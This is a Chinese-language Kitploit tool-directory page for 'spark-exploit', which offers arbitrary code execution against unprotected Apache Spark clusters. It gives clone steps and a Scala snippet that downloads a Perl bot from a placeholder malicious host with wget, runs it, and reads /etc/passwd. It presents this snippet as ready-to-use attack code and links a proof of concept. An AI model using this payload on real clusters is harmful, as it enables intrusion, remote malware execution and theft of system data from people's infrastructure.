Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
spark-exploit — 未受保护的 Apache Spark 集群中的任意代码执行 | Kitploit
工具/GitHubGitHub/akhld/spark-exploit
云基础设施安全漏洞利用渗透测试云安全错误配置
GitHubakhld/spark-exploit

spark-exploit

未受保护的 Apache Spark 集群中的任意代码执行

查看仓库
847年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

未受保护的 Apache Spark 集群中的任意代码执行

如何利用

按照以下步骤操作:

root@kitploit:~
* $ git clone https://github.com/akhld/spark-exploit.git
* $ cd spark-exploit

远程代码执行

打开 exploit.scala,将以下代码替换为你想要执行的任意内容!

root@kitploit:~
val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
  	     val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })

PoC

https://hacked.work/blog/arbitary-code-execution-in-unsecured-apache-spark-cluster/

下载工具